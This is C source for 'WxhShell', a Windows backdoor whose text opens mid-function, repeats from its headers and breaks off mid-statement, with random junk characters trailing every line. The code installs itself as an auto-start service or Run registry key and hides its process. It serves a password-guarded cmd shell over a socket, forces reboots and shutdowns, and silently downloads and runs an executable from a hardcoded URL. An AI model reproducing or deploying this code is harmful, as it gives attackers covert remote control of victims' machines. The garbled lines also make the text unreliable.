    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yR}PC/>  
    if(Boot(SHUTDOWN)) Y%$@ZYW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GY% ^!r  
    else { v|~&I%S7  
    closesocket(wsh); SUGB)vEa  
    ExitThread(0); ;6+e!h'1  
    } $r>$ u  
    break; 0 ]K\G55  
    } "$P|!k45(  
  // 获取shell gbf2ty  
  case 's': { ,yPs4',d  
    CmdShell(wsh); Z!#n55 |  
    closesocket(wsh); zt,Tda4Y  
    ExitThread(0); %*:X FB  
    break; tFj[>_d7  
  } (p6$Vgdt  
  // 退出 [k<"@[8)  
  case 'x': { V/N:Of:\R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lSW6\jX  
    CloseIt(wsh); F"I{_yleq'  
    break; -O&u;kh4g  
    } V%|CCrR  
  // 离开 <d*;d3gm  
  case 'q': { &ZyZmB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8nV#\J9  
    closesocket(wsh); t?&@bs5~g  
    WSACleanup(); Xgb ~ED]  
    exit(1); sWtT"7>x  
    break; q!fdiv`  
        } /i !3Fr"  
  } Uw`YlUT\  
  } J)kH$!csi  
yLFZo"r  
  // 提示信息 $RAS pM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $nf5bo/;  
} g#W/WKvM  
  } XEX ."y  
(v/mKGyg  
  return; &Hl*Eg f  
} yW@0Q:  
5Yxs_t4  
// shell模块句柄 &PE/\_xD_  
int CmdShell(SOCKET sock) NI<;Lm  
{ &<Iyb}tA?  
STARTUPINFO si; W'98ues%  
ZeroMemory(&si,sizeof(si)); |$>ZGs#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GF^)](xY+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E`A6GX  
PROCESS_INFORMATION ProcessInfo; =P}BAJ  
char cmdline[]="cmd"; n PAl8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?@@BIg-  
  return 0; EdC^L`::  
} Jm#mC  
}Cs. Hm0P  
// 自身启动模式 r}>q*yx:  
int StartFromService(void) Tr\6 AN?o  
{ BdMmeM2h  
typedef struct V eD<1<  
{ !EwL"4pPw  
  DWORD ExitStatus; :Qc[>:N  
  DWORD PebBaseAddress; @3aI7U/I  
  DWORD AffinityMask; NP+*L|-;  
  DWORD BasePriority; C<G`wXlP|  
  ULONG UniqueProcessId; M= ]]kJ:I  
  ULONG InheritedFromUniqueProcessId; M "W~%   
}   PROCESS_BASIC_INFORMATION; $E >)  
=cP7"\  
PROCNTQSIP NtQueryInformationProcess; \>7hT;Av=G  
hRc.^"q9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y-ZTv(<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;:`0:Ao.  
4tGP- L  
  HANDLE             hProcess; Y%GIKtP  
  PROCESS_BASIC_INFORMATION pbi; fR^aFT  
:nLhg$wMs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yw!(]8PYdU  
  if(NULL == hInst ) return 0; >}I BPC  
{hRM=f7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fv!KLw@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); USDqh437  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mh$Nwr/W:  
`@tn Eg  
  if (!NtQueryInformationProcess) return 0; 3;E,B7,mQ  
fGf C[DuY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8am/5o  
  if(!hProcess) return 0; {>]7xTpwZ  
P;8D|u^\*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Shag4-*@hi  
BKJwM'~  
  CloseHandle(hProcess); ^_0l(ke  
Cju%CE3a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jx-dWfe  
if(hProcess==NULL) return 0; ", Ge:\TR=  
uG:xd0X+W  
HMODULE hMod; l,w$!FnmR  
char procName[255]; 9$iDK$%  
unsigned long cbNeeded; $%GW~|S\C  
G&DL)ePu]m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); naaww  
Fx]}<IudA^  
  CloseHandle(hProcess); 7%7 \2!0J}  
y]YUuJ9a  
if(strstr(procName,"services")) return 1; // 以服务启动 PKK18E}{%^  
[@4.<4Y  
  return 0; // 注册表启动 15)y]N={^  
} lDU@Q(V#}<  
.$s>b#mO  
// 主模块 Osj/={7g  
int StartWxhshell(LPSTR lpCmdLine) ^?Y x{r~9  
{ FVo_=O)  
  SOCKET wsl; h,Nq:"}  
BOOL val=TRUE; EWZ?q$  
  int port=0; \|wUxijJ*,  
  struct sockaddr_in door; 4xl}kmvv  
jjTb:Z=.'  
  if(wscfg.ws_autoins) Install(); q"OJF'>w5  
}iBFo\vU  
port=atoi(lpCmdLine); #CcC& I :c  
w1q`  
if(port<=0) port=wscfg.ws_port; e^ ZxU/e  
Ug~ ]!L  
  WSADATA data; m,1Hlp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W6 y-~  
'U|Tye i?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O&vE 5%x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gd=gc<zYP  
  door.sin_family = AF_INET; a}#8n^2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dPx{9Y<FzU  
  door.sin_port = htons(port); PQJI~u9te}  
='U>P( R-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { na)-'  
closesocket(wsl); EsK.g/d  
return 1; tpQ?E<O  
} 9`8D Ga  
R32A2Ml  
  if(listen(wsl,2) == INVALID_SOCKET) { p@Va`:RDW  
closesocket(wsl); -w3KBlo  
return 1; )B1gX>J\8  
} %+F%C=GqI  
  Wxhshell(wsl); Yfa`}hQ  
  WSACleanup(); +yO^,{8SE  
dF#`_!4pbf  
return 0; BJ,D1E  
I%#&@  
} xJemc3]2  
O3];1ud  
// 以NT服务方式启动 1Bl;.8he.)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u}~jNV  
{ k&M9Hn2  
DWORD   status = 0; |9&bkojo  
  DWORD   specificError = 0xfffffff; ]A%S&q  
'Io2",~ M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `COnb@uD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]@G$ L,3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 552U~t  
  serviceStatus.dwWin32ExitCode     = 0; )h>H}wDs  
  serviceStatus.dwServiceSpecificExitCode = 0; )i$:iI >k  
  serviceStatus.dwCheckPoint       = 0; D$&LCW#x  
  serviceStatus.dwWaitHint       = 0; /jB 0  
S`?L\R.:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %'`L+y  
  if (hServiceStatusHandle==0) return; Xpp%j  
E,EpzB$_dj  
status = GetLastError(); 873'=m&  
  if (status!=NO_ERROR) tY>_ +)oi  
{ g6V>_|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x } X1 O)  
    serviceStatus.dwCheckPoint       = 0; 3`%U)gCT5  
    serviceStatus.dwWaitHint       = 0; M"l<::z  
    serviceStatus.dwWin32ExitCode     = status; wLW[Vur[  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6:$+"@ps  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PS\n0  
    return; zh6 0b{  
  } \]$TBN dJ4  
$ytlj1.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c'Mi9,q  
  serviceStatus.dwCheckPoint       = 0; j7u\.xu9  
  serviceStatus.dwWaitHint       = 0; hxX-iQya  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1O@y >cV  
} ;:l>Kac  
}g]O_fN7~  
// 处理NT服务事件,比如:启动、停止 {CH *?|t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l+n0=^ Z  
{ /tqQAvj  
switch(fdwControl) p*l]I *x'<  
{ Ph Ep3o&"  
case SERVICE_CONTROL_STOP: JA(M'&q4  
  serviceStatus.dwWin32ExitCode = 0; KvtX>3#qM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PD$@.pib  
  serviceStatus.dwCheckPoint   = 0; '3'*VcL(  
  serviceStatus.dwWaitHint     = 0; _1EWmHZ?  
  { ! {c"C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :0o,pndU  
  } SGK=WLGM8  
  return; azT@S=,  
case SERVICE_CONTROL_PAUSE: R.rxpJ+kU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W{js9$oJ  
  break; Z.x9SEe1t  
case SERVICE_CONTROL_CONTINUE: @Z{!T)#}j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o%1dbbh  
  break; q(iM=IeiN  
case SERVICE_CONTROL_INTERROGATE:  XeRbn  
  break; `^#V1kRmH  
}; =(%+S<}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %hO/2u  
} Uc>$w?oA  
~Q36lR  
// 标准应用程序主函数 C;BC@OE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zwm2T3@e  
{ ~SD8#;v2  
w>6~ zAh  
// 获取操作系统版本 '$m uA\  
OsIsNt=GetOsVer(); 8<X,6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !hS~\+E  
` fm^#Nw  
  // 从命令行安装 u?-X07_  
  if(strpbrk(lpCmdLine,"iI")) Install(); PY{])z3N  
!b:;O +[  
  // 下载执行文件 cZd{K[fuK  
if(wscfg.ws_downexe) { /ltGSl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G j9WUv[P  
  WinExec(wscfg.ws_filenam,SW_HIDE); WK)2/$7@  
} ;E0aTV)Zp  
:3$$PdZ  
if(!OsIsNt) { ,MRAEa2  
// 如果时win9x,隐藏进程并且设置为注册表启动 4,.B#: 8  
HideProc(); @Fs2J_v  
StartWxhshell(lpCmdLine); U5!T-o;3}  
} s+RSAyU  
else >56I`[)  
  if(StartFromService()) }US^GEs(  
  // 以服务方式启动 "PhP1;A9,  
  StartServiceCtrlDispatcher(DispatchTable); xfsf  
else }k7t#O  
  // 普通方式启动 +;*dFL  
  StartWxhshell(lpCmdLine); Tu*"+*r>s  
SuuLB6{u3  
return 0; d> OLnG> F  
} jXCSD@?]K  
{=)g?!zC  
:,]*~Nl  
D <SLv,Y  
=========================================== CQGq}.Jt!  
Q`* v|Lp  
=FfxHo1k  
*W&}}iL  
t7 ].33%\  
Aq~}<qkIF+  
" Z#nPn>,q  
[(65^Zl`  
#include <stdio.h> zv>3Tc0R  
#include <string.h> ZT'VF~  
#include <windows.h> 9S8>"w^R  
#include <winsock2.h> 2$OI(7b=  
#include <winsvc.h> d=~-8]%\  
#include <urlmon.h> 7>sNjOt@M  
52H'aHO1  
#pragma comment (lib, "Ws2_32.lib") b IZuZF>*  
#pragma comment (lib, "urlmon.lib") L2GUrf  
Y(D&JKx  
#define MAX_USER   100 // 最大客户端连接数 5UU1HC;C  
#define BUF_SOCK   200 // sock buffer C 7e  
#define KEY_BUFF   255 // 输入 buffer piv/QP-X  
`$hna{e^n  
#define REBOOT     0   // 重启 !Ic{lB   
#define SHUTDOWN   1   // 关机 % bpVK~z  
g.9:R=JPT  
#define DEF_PORT   5000 // 监听端口 T)Ohk(jK1  
|gP9^B?3  
#define REG_LEN     16   // 注册表键长度 Hvj1R.I/  
#define SVC_LEN     80   // NT服务名长度 VP\'p1a  
pA|Z%aL  
// 从dll定义API fVJsVZ"6v`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zVL"$ )  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9f/RD?(1O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U|2*.''+Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HC[)):S*  
U.mVz,k3  
// wxhshell配置信息 Za4X ;  
struct WSCFG { iT;~0XU7F  
  int ws_port;         // 监听端口 [@RJ2q$  
  char ws_passstr[REG_LEN]; // 口令 N~/D| ?P~2  
  int ws_autoins;       // 安装标记, 1=yes 0=no NrTK+6 z  
  char ws_regname[REG_LEN]; // 注册表键名 1>wQ&{  
  char ws_svcname[REG_LEN]; // 服务名 g~#HiBgWq[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZM$}Xy\9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FR%u1fi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PRo;NE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uw:gJ 9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SmR"gu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FdZG%N>Z  
9 f+S-!  
}; Ta 0Ln  
4PsJs<u  
// default Wxhshell configuration ;uK">L[u'  
struct WSCFG wscfg={DEF_PORT, 2wKW17wj,  
    "xuhuanlingzhe", D%k`udz<  
    1, sh|@X\EZO  
    "Wxhshell", aLKvl~s;m  
    "Wxhshell", GLIe8T*ht  
            "WxhShell Service", N9s ,..  
    "Wrsky Windows CmdShell Service", H|]~(.w 1}  
    "Please Input Your Password: ", vI)-Zz[3  
  1, J#L"kz  
  "http://www.wrsky.com/wxhshell.exe", M1sR+e$"  
  "Wxhshell.exe" p~h)@  
    }; &1k2J   
Pn;Tg7oz  
// 消息定义模块 nWd]P\a'V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ry+Ax4#+(y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ie14`'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hrt ]Qn&  
char *msg_ws_ext="\n\rExit."; Cc7YjsRW  
char *msg_ws_end="\n\rQuit."; P{{pp<tX*&  
char *msg_ws_boot="\n\rReboot..."; K}(0H[P  
char *msg_ws_poff="\n\rShutdown..."; fQtV-\Bc  
char *msg_ws_down="\n\rSave to "; -55Pvg0ND  
68pB*(i  
char *msg_ws_err="\n\rErr!"; >gqd y*Bg  
char *msg_ws_ok="\n\rOK!"; %%=PpKYtSD  
AlQE;4yX  
char ExeFile[MAX_PATH]; $u`v k|\R  
int nUser = 0; 4z$}e-  
HANDLE handles[MAX_USER]; 9*"Ae0ok1  
int OsIsNt; YH%aPsi  
T9,T'y>BD  
SERVICE_STATUS       serviceStatus; oK!W<#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zURob MpE#  
-5_[m@Vr  
// 函数声明 S@N:Cj  
int Install(void); R>05MhA+  
int Uninstall(void); y&$mN  
int DownloadFile(char *sURL, SOCKET wsh); S<+/Ep 2  
int Boot(int flag); AZi|85rN  
void HideProc(void); >We:g Kxr  
int GetOsVer(void); b<N962 q$q  
int Wxhshell(SOCKET wsl); H+VKWGmfG  
void TalkWithClient(void *cs); T<\!7 RnLc  
int CmdShell(SOCKET sock); G31??L:<  
int StartFromService(void); C6-71 `C0  
int StartWxhshell(LPSTR lpCmdLine); .%iJin"  
~qk5Mk4$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~sd+ch*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D8b~-#  
:=I@<@82W  
// 数据结构和表定义 pu"`*NL  
SERVICE_TABLE_ENTRY DispatchTable[] = 3O W) %  
{ (zm5 4 Vm  
{wscfg.ws_svcname, NTServiceMain}, >*5+{~k~4  
{NULL, NULL} RH+'"f  
}; b.<>CG'  
ns{BU->f  
// 自我安装 ;T6x$e  
int Install(void) j#`d%eQ~J  
{ 8\85Wk{b  
  char svExeFile[MAX_PATH]; [ NSsT>C  
  HKEY key; X)tf3M {J@  
  strcpy(svExeFile,ExeFile); \U1fUrw$*  
s /? &H-  
// 如果是win9x系统,修改注册表设为自启动 cP4K9:k  
if(!OsIsNt) { k>N >_{\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -]uN16\ F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?&H1C4   
  RegCloseKey(key); T vEN0RV2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Nky?*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #\Q{?F!4  
  RegCloseKey(key); %/86}DCfE?  
  return 0; nmLn]U=  
    } 5K~kzR L$r  
  } |Bv?! sjf  
} yWs_Z6b  
else { ~"Pu6-\VT  
e@-"B9~   
// 如果是NT以上系统,安装为系统服务 ae)0Yu`*G7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UHtxzp =[  
if (schSCManager!=0) k#4%d1O}  
{ q*<Fy4j  
  SC_HANDLE schService = CreateService NbD"O8dL~E  
  ( 6Q&*V7EO  
  schSCManager, y5XHJUTu  
  wscfg.ws_svcname, gZ5E%']sT  
  wscfg.ws_svcdisp, rb/m;8v>  
  SERVICE_ALL_ACCESS, 0]F'k8yLN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C3H q&TVf/  
  SERVICE_AUTO_START, QFI8|i@  
  SERVICE_ERROR_NORMAL, ,C#Mf@b  
  svExeFile, ?:Y0#Btj  
  NULL, 3lyk/',  
  NULL, N}Ol`@@#h  
  NULL, JY\8^}'9  
  NULL, \LFRu  
  NULL q/o|uAq  
  ); GP %83T  
  if (schService!=0) nt/+?Sj  
  { f PoC yl  
  CloseServiceHandle(schService); 0/8rYBV  
  CloseServiceHandle(schSCManager); I 9yN TD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h\ (z!7t*  
  strcat(svExeFile,wscfg.ws_svcname); #xqeCX 4p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6\MJvg\;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3~e"CKD>  
  RegCloseKey(key); G;n'c7BV  
  return 0; Pez 7HKW:  
    } Xwg|fr+p  
  } FkdG@7Xf  
  CloseServiceHandle(schSCManager); @quNVx(y  
} 58H[sM4>  
} ^y?7B_%:B#  
vrtK~5K  
return 1; %$b)l? !  
} "t<$ {  
@j%r6N  
// 自我卸载 \dyJ=tg  
int Uninstall(void) _E e`Uk  
{ {gE19J3  
  HKEY key; *t;'I -1w^  
:*bmc/c  
if(!OsIsNt) { Gs*FbrY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Md \yXp  
  RegDeleteValue(key,wscfg.ws_regname); `U4R% qhWA  
  RegCloseKey(key); Bi"7FF(z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tylMJ$ 9*.  
  RegDeleteValue(key,wscfg.ws_regname); x%ZgLvdp,  
  RegCloseKey(key); qll)  
  return 0; ,3G8afo  
  } EDR;" G(N  
} ta>:iQ a  
} v;S7i>\  
else { (+<SR5,/3  
|Ire#0Nwx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Do7&OBI~  
if (schSCManager!=0) <RmI)g>'_^  
{ XEF|B--,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t[B\'f!  
  if (schService!=0) 5oQy $Y  
  { Y{X79Rd  
  if(DeleteService(schService)!=0) { ^|@t2Rp@  
  CloseServiceHandle(schService); h+k:G9;sS  
  CloseServiceHandle(schSCManager); tT}*%A  
  return 0; AL/q6PWi  
  } \UI7H1XDH  
  CloseServiceHandle(schService); ] X,C9  
  } [&n2 yt  
  CloseServiceHandle(schSCManager); m~%\f8w-x  
} p=U*4[9k  
} *0)vsBi  
6(4FC?Y7  
return 1; +'abAST t  
} :\x)`lu  
N"2Ire  
// 从指定url下载文件 JcEPwF.  
int DownloadFile(char *sURL, SOCKET wsh) VnUW UIVJ  
{ OWsK>egD  
  HRESULT hr; ?5e:w?&g@  
char seps[]= "/"; 2f1WT g)  
char *token; /,'D4s:Gg  
char *file; ^)&d7cSc  
char myURL[MAX_PATH]; 'c 0]8Y 4  
char myFILE[MAX_PATH]; 1 dT1DcZ  
n?*Fr sZ  
strcpy(myURL,sURL); "nX L7N0  
  token=strtok(myURL,seps); l~,5)*T  
  while(token!=NULL) $LLkYOwI  
  { A-\OB Nh  
    file=token; nwh7DU i  
  token=strtok(NULL,seps); F}P+3IaE  
  } [*U6L<JI  
$:V'+s4o  
GetCurrentDirectory(MAX_PATH,myFILE); ^)Xl7d|m+  
strcat(myFILE, "\\"); [z$th  
strcat(myFILE, file); * 8n0  
  send(wsh,myFILE,strlen(myFILE),0); EnXNTat})  
send(wsh,"...",3,0); !T/ ^zc;G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {-IH?!&v  
  if(hr==S_OK) 5BCHW X*y  
return 0; Hc1S:RW  
else :T(3!}4  
return 1; H8+7rM  
/t`s.!k  
} T+7O+X#  
won;tO]\;@  
// 系统电源模块 m @) ~.E  
int Boot(int flag) s/+@o:  
{ )(`I1"1   
  HANDLE hToken; X TpYf  
  TOKEN_PRIVILEGES tkp; F@Qzh  
RnV )*  
  if(OsIsNt) { E7-il;`cKn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g$<Sh.4A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Md_S};!QN6  
    tkp.PrivilegeCount = 1; v'(p."g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n>?o=_|uR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !E<y:$eH:  
if(flag==REBOOT) { e;9Z/);#s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }p 0 \  
  return 0; HV@ C@wmg  
} Su99A.w  
else { coq7La[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n}cjVH5  
  return 0; | T<t19  
} XnmQp)nyV  
  } m[6?v;w  
  else { S%zn {1F  
if(flag==REBOOT) { T9.3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $eUI.j(HU  
  return 0; $_NYu  
} K[JbQ30  
else { 5 s3!{zT{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q$!dPwDg  
  return 0; 2mj?&p?  
} F)_zR  
} {2Jo|z  
rnW(<t"  
return 1; rM/Ona2x  
} -0rc4<};h  
+~b@W{  
// win9x进程隐藏模块 M:6Yy@#T.  
void HideProc(void) tQ=P.14>:  
{ P%M Yr"<$E  
JGl0 (i*|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ha+)ZF  
  if ( hKernel != NULL ) D?ojxHe  
  { j4h6p(w{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KITC,@xE_O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )Y.H*ca  
    FreeLibrary(hKernel); Q!7il<S  
  } A)"?GK{*  
KwO;ICdJ  
return; jd]Om r!  
} w1tWyKq  
m,YBk<Bx  
// 获取操作系统版本 D@@J7  
int GetOsVer(void) j4pxu/2  
{ ,*_=w^;Rr  
  OSVERSIONINFO winfo; ZBYFQTEE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DJ)Q,l*|N9  
  GetVersionEx(&winfo); MvV\?Lzj   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _Q XC5i  
  return 1; h"R{{y f2  
  else }7)iLfi  
  return 0; fCC^hB]'  
} RLl*@SEi"  
*K}h >b 1  
// 客户端句柄模块 Egy#_ RT{  
int Wxhshell(SOCKET wsl) .d mUh-  
{ o@T-kAEf-.  
  SOCKET wsh; [_kis  
  struct sockaddr_in client; NVyel*QE  
  DWORD myID; v+\&8)W=  
Cn6<I{`\  
  while(nUser<MAX_USER) R^u 1(SF  
{ G,o5JL"t  
  int nSize=sizeof(client); ;5S'?fj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q8d-yJs&  
  if(wsh==INVALID_SOCKET) return 1; P _e9>t@  
>+}yI}W;e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E}-Y!,v^  
if(handles[nUser]==0) j >pv@D  
  closesocket(wsh); )?d(7d-l  
else Qdt4h$~V"  
  nUser++; 3+:F2sjt  
  } s>pM+PoGYd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^HiI   
e'nhP  
  return 0; dV/ ^@[  
} C[X2]zr  
M%{,?a0V  
// 关闭 socket U+[ p>iP  
void CloseIt(SOCKET wsh) Go;fQ yG  
{ GN0s`'#"3%  
closesocket(wsh); 3.0t5F<B  
nUser--; pUV4oyGV   
ExitThread(0); Uw!N;QsC  
} rJz`v/:|P  
>]dH1@@  
// 客户端请求句柄 P:8 qm DXo  
void TalkWithClient(void *cs) |f+`FOliP  
{ /+ yIcE(&3  
58]C``u@Y  
  SOCKET wsh=(SOCKET)cs; bf4QW JZD  
  char pwd[SVC_LEN]; A!GQ4.~%  
  char cmd[KEY_BUFF]; ;*+wg5|  
char chr[1]; 5EX Ghc'  
int i,j; 4CH/~b1 (  
.:wo ARW!  
  while (nUser < MAX_USER) { W)~}o<a)[  
@1c[<3xJ T  
if(wscfg.ws_passstr) { >U7{EfUJdx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2=]Xe#5J=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [H4)p ,R  
  //ZeroMemory(pwd,KEY_BUFF); _GW,9s^A  
      i=0; 'lWgHmE  
  while(i<SVC_LEN) { #ULjK*)R  
$R&K-;D/8  
  // 设置超时 v?O6|0#x  
  fd_set FdRead; GS)4,.  
  struct timeval TimeOut; c9/&A  
  FD_ZERO(&FdRead); fk5$z0/  
  FD_SET(wsh,&FdRead); ~~iFs ,9  
  TimeOut.tv_sec=8; pu OAt  
  TimeOut.tv_usec=0; S4O'N x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fUKi@*^ZUa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oVAY}q|wU  
:iEIo7B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R!z32 <5k  
  pwd=chr[0]; OAiSE`  
  if(chr[0]==0xd || chr[0]==0xa) { goje4;  
  pwd=0; gt \O  
  break; wg}rMJoG|  
  } 4 Q<c I2|  
  i++; wAA9M4  
    } is6M{K3  
JqTR4[`Z\  
  // 如果是非法用户,关闭 socket Dkyw3*LCn%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;N?raz2mEi  
} @3v[L<S{  
EvGKcu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lHI?GiB@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y'U]!c9  
n4A#T#D!t3  
while(1) { s`dwE*~  
9D`p2cO  
  ZeroMemory(cmd,KEY_BUFF); YZ(tjIgQ  
,t|qhJF  
      // 自动支持客户端 telnet标准   Lk`,mjhk  
  j=0; ~ !7!Y~(+  
  while(j<KEY_BUFF) { bNh~=[E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hi0-Sw  
  cmd[j]=chr[0]; wQw&.)T  
  if(chr[0]==0xa || chr[0]==0xd) { T`W37fz0  
  cmd[j]=0; 6` 4,  
  break; phP%  
  } =IEei{  
  j++; XGcl9FaO}  
    } Mh@RO|F  
{^A,){uX]  
  // 下载文件 60XTdJkDkA  
  if(strstr(cmd,"http://")) { 4S\St <  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M $\!SXL  
  if(DownloadFile(cmd,wsh)) 79d< ,q;uR  
